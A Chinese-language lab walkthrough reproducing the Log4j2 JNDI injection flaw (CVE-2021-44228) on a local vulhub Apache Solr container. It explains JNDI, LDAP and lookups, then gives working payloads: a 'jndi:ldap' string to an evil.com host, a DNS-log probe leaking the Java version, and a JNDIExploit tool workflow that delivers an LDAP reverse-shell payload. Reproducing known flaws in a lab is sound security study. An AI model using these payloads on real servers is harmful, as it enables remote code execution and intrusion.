Log4j2 JNDI注入复现
log4j2是一个常用的Java日志框架,用于记录应用程序的日志信息。然而,在log4j2的早期版本中,存在一个严重的安全漏洞,即JNDI注入漏洞。
漏洞原理及名词解释
原理:
log4j2的日志输出jndi远程对象时,调用远程对象没做检查导致。攻击者通过构造特定的JNDI名称,可以指定要注入的恶意对象。这个名称可以是一个远程URL、一个RMI对象、一个LDAP路径等,攻击者可以根据目标系统的配置和漏洞来选择适合的注入方式。
名词解释:
Log4j 2是一种流行的Java日志记录框架,用于在应用程序中生成和管理日志。
JNDI是Java提供的一种标准API,用于在Java应用程序中访问命名和目录服务。它允许应用程序通过名称查找和访问各种资源,如数据库连接、消息队列等。可以通过传入类似于${jndi:ldap://evil.com/example}的lookup函数用于进行JNDI注入,执行任意代码。
**lookup函数:**lookup函数是一种功能强大的机制,可用于在日志配置文件中动态获取属性的值。它允许您使用特殊的占位符来引用属性,并在运行时将其替换为实际的值。Lookup函数使用${}语法,并通过配置文件中的配置项进行定义
LDAP即Lightweight Directory Access Protocol(轻量级目录访问协议),目录是一个为查询、浏览和搜索而优化的专业分布式数据库,它呈树状结构组织数据,就好象Linux/Unix系统中的文件目录一样。目录数据库和关系数据库不同,它有优异的读性能,但写性能差,并且没有事务处理、回滚等复杂功能,不适于存储修改频繁的数据。所以目录天生是用来查询的,就好像它的名字一样。
**RMI:**是Java语言提供的一种远程调用机制,用于实现在分布式系统中不同Java虚拟机(JVM)之间的方法调用和对象传输。
漏洞环境搭建
Apache Log4j2 不是一个特定的Web服务,而仅仅是一个第三方库,我们可以通过找到一些使用了这个库的应用来复现这个漏洞,比如Apache Solr。
执行如下命令启动一个Apache Solr 8.11.0,其依赖了Log4j 2.14.1:
#vulhub:Apache Log4j2 lookup JNDI 注入漏洞(CVE-2021-44228)
docker compose up -d
访问localhost:8983即可查看到Apache Solr的后台页面
漏洞复现
漏洞验证
{jndi:ldap://{sys:java.version}.dnslog}是利用JNDI发送DNS请求的Payload,我们将其作为管理员接口的action参数值发送如下数据包:
发送后网页状态码为400,然后查看dnslog页面,收到相关日志,显示出当前Java版本:
说明漏洞存在,进行JNDI注入
漏洞复现
工具:
https://github.com/cckuailong/JNDI-Injection-Exploit-Plus
在vps中使用JNDI工具获取payload
java -jar JNDIExploit-1.4-SNAPSHOT.jar -i your-ip -u
使用ldap://协议进行反弹shell
ldap://your-ip:1389/Basic/ReverseShell/[ip]/[port]
windows不支持
然后使用工具开启一个监听提供远程加载
java -jar JNDIExploit-1.4-SNAPSHOT.jar -i your-ip
再开启一个监听接收shell
payload利用,使用get传参将ldap协议payload传入?action进行JNDI注入
send,返回400,查看接收shell的监听
成功拿到shell。